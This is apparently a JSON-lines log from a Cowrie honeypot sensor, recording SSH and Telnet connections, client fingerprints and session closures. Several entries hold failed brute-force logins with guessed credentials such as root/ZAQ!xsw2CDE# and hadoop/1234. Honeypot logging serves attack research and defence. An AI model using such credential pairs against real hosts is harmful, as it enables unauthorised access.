{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:33:18.466727Z","src_ip":"45.78.230.231","session":"7db9b30ccbe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.815935373306274,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:33:35.396833Z","src_ip":"176.65.149.254","session":"f0a8e5f70e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.105.1.213","src_port":36976,"dst_ip":"159.203.135.109","dst_port":23,"session":"c020997164ba","protocol":"telnet","message":"New connection: 112.105.1.213:36976 (159.203.135.109:23) [session: c020997164ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:34:38.887029Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":53770,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a466df9997","protocol":"ssh","message":"New connection: 45.78.230.231:53770 (10.17.0.5:22) [session: 28a466df9997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:35:00.445393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:35:00.456771Z","src_ip":"45.78.230.231","session":"28a466df9997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:35:00.696897Z","src_ip":"45.78.230.231","session":"28a466df9997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:35:03.967026Z","src_ip":"45.78.230.231","session":"28a466df9997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:35:06.494237Z","src_ip":"45.78.230.231","session":"28a466df9997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.406510829925537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:35:10.293421Z","src_ip":"112.105.1.213","session":"c020997164ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":46304,"dst_ip":"10.17.0.5","dst_port":22,"session":"d24c6d143453","protocol":"ssh","message":"New connection: 45.78.230.231:46304 (10.17.0.5:22) [session: d24c6d143453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:36:44.140846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:36:44.144920Z","src_ip":"45.78.230.231","session":"d24c6d143453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:36:44.383573Z","src_ip":"45.78.230.231","session":"d24c6d143453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":46766,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce39caae3e4e","protocol":"ssh","message":"New connection: 45.78.230.231:46766 (10.17.0.5:22) [session: ce39caae3e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:28.721402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:28.726481Z","src_ip":"45.78.230.231","session":"ce39caae3e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:28.965511Z","src_ip":"45.78.230.231","session":"ce39caae3e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1234","message":"login attempt [hadoop/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:30.581514Z","src_ip":"45.78.230.231","session":"ce39caae3e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:31.823942Z","src_ip":"45.78.230.231","session":"ce39caae3e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:44.158280Z","src_ip":"45.78.230.231","session":"d24c6d143453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41242,"dst_ip":"10.17.0.5","dst_port":23,"session":"5883e7fef726","protocol":"telnet","message":"New connection: 180.235.129.180:41242 (10.17.0.5:23) [session: 5883e7fef726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:54.557792Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41248,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cee598ce3df","protocol":"telnet","message":"New connection: 180.235.129.180:41248 (10.17.0.5:23) [session: 3cee598ce3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:38:54.563682Z"}
{"eventid":"cowrie.session.closed","duration":5.979458808898926,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:39:00.543047Z","src_ip":"180.235.129.180","session":"3cee598ce3df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.121790647506714,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:39:41.679456Z","src_ip":"180.235.129.180","session":"5883e7fef726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":33410,"dst_ip":"159.203.135.109","dst_port":23,"session":"71d6142c5b37","protocol":"telnet","message":"New connection: 199.103.57.63:33410 (159.203.135.109:23) [session: 71d6142c5b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:40:56.669242Z"}
{"eventid":"cowrie.session.closed","duration":34.75959229469299,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:41:31.428702Z","src_ip":"199.103.57.63","session":"71d6142c5b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":44768,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a7412c1f4a","protocol":"ssh","message":"New connection: 45.78.230.231:44768 (10.17.0.5:22) [session: 51a7412c1f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:41:57.552319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:41:57.560735Z","src_ip":"45.78.230.231","session":"51a7412c1f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":37490,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1dbb85e0721","protocol":"ssh","message":"New connection: 45.78.230.231:37490 (10.17.0.5:22) [session: f1dbb85e0721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:43:39.140279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:43:42.120504Z","src_ip":"45.78.230.231","session":"f1dbb85e0721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:43:42.124194Z","src_ip":"45.78.230.231","session":"f1dbb85e0721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:43:42.128921Z","src_ip":"45.78.230.231","session":"f1dbb85e0721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:43:57.572415Z","src_ip":"45.78.230.231","session":"51a7412c1f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":60254,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e7f0c430f8","protocol":"ssh","message":"New connection: 45.78.230.231:60254 (10.17.0.5:22) [session: 86e7f0c430f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:17.917755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:17.922680Z","src_ip":"45.78.230.231","session":"86e7f0c430f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:18.161542Z","src_ip":"45.78.230.231","session":"86e7f0c430f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!xsw2CDE#","message":"login attempt [root/ZAQ!xsw2CDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:19.799425Z","src_ip":"45.78.230.231","session":"86e7f0c430f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:21.773374Z","src_ip":"45.78.230.231","session":"86e7f0c430f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.254","src_port":46598,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc272ee25be","protocol":"ssh","message":"New connection: 185.222.138.254:46598 (10.17.0.5:22) [session: 1bc272ee25be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:22.956556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:22.964968Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.078412Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:88:57:01:fc:bc:34:5c:fe:75:55:4d:50:5c:ec:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKjBEciyAk/uSIuQ7A5lVFjlgrMOe032ckZpACN+pB0ZvzamII8wN94UiqH7qzCmeVOyeWlLUUyJppg4GzptsdW7r6C0PyntzF0bgS2CqOMQ+HiSi/llb9qWMA0bNx+Jt4cTWGMm4elDT8T6wMEVZew29h5Vh5D/2ZAyPf4aHCAOpKbL1gi7LbvHalx73JjvPSbFvXdcHpxiRkLipJJcmWqhOV4qXvSDy0k+qhcptaHwqK49WnoHr1C9AnjWn/9v1ybM/MC3DfaiiBRS3fN5tmqAtCXx/7E36knn9Ih/4r4DR5Od5FyhQ+QGhNmcA2FQK8XYe7zBBW3JqZlWUVtix53B/V/Gm4MA3ZmJ2y1hWopeCMZnpyFXYTdpDrODkma2CB8fbvDGHC5lm9izrHrfvvvPMQwgcoI8kr1beqXX18d60kyN3EAg0kCqPLSF0Z0pxeRvcJ0yKRm6OykCgAEL3kD+xWwT+WF+nguABeglCduld5AtKQikhdG3hMpAmHNdCEDzUeiBnXRZ5SMiEBoRTkq4gBcbtFhVyN3KEVxd9aBKITgUUnQQb3fhQSkTkuPtzhOEUtDSsZrx7oPlgrxOPrxVhEJ7t+H857Z4HhJSH9vVyZPujq7FVXW4O4b9s8+7zAczrWmgpmHkWvX77la63p4t3abVsj4btYNPM95qI5gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:88:57:01:fc:bc:34:5c:fe:75:55:4d:50:5c:ec:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.625946Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:88:57:01:fc:bc:34:5c:fe:75:55:4d:50:5c:ec:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKjBEciyAk/uSIuQ7A5lVFjlgrMOe032ckZpACN+pB0ZvzamII8wN94UiqH7qzCmeVOyeWlLUUyJppg4GzptsdW7r6C0PyntzF0bgS2CqOMQ+HiSi/llb9qWMA0bNx+Jt4cTWGMm4elDT8T6wMEVZew29h5Vh5D/2ZAyPf4aHCAOpKbL1gi7LbvHalx73JjvPSbFvXdcHpxiRkLipJJcmWqhOV4qXvSDy0k+qhcptaHwqK49WnoHr1C9AnjWn/9v1ybM/MC3DfaiiBRS3fN5tmqAtCXx/7E36knn9Ih/4r4DR5Od5FyhQ+QGhNmcA2FQK8XYe7zBBW3JqZlWUVtix53B/V/Gm4MA3ZmJ2y1hWopeCMZnpyFXYTdpDrODkma2CB8fbvDGHC5lm9izrHrfvvvPMQwgcoI8kr1beqXX18d60kyN3EAg0kCqPLSF0Z0pxeRvcJ0yKRm6OykCgAEL3kD+xWwT+WF+nguABeglCduld5AtKQikhdG3hMpAmHNdCEDzUeiBnXRZ5SMiEBoRTkq4gBcbtFhVyN3KEVxd9aBKITgUUnQQb3fhQSkTkuPtzhOEUtDSsZrx7oPlgrxOPrxVhEJ7t+H857Z4HhJSH9vVyZPujq7FVXW4O4b9s8+7zAczrWmgpmHkWvX77la63p4t3abVsj4btYNPM95qI5gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:45:23.630180Z","src_ip":"185.222.138.254","session":"1bc272ee25be","protocol":"ssh"}
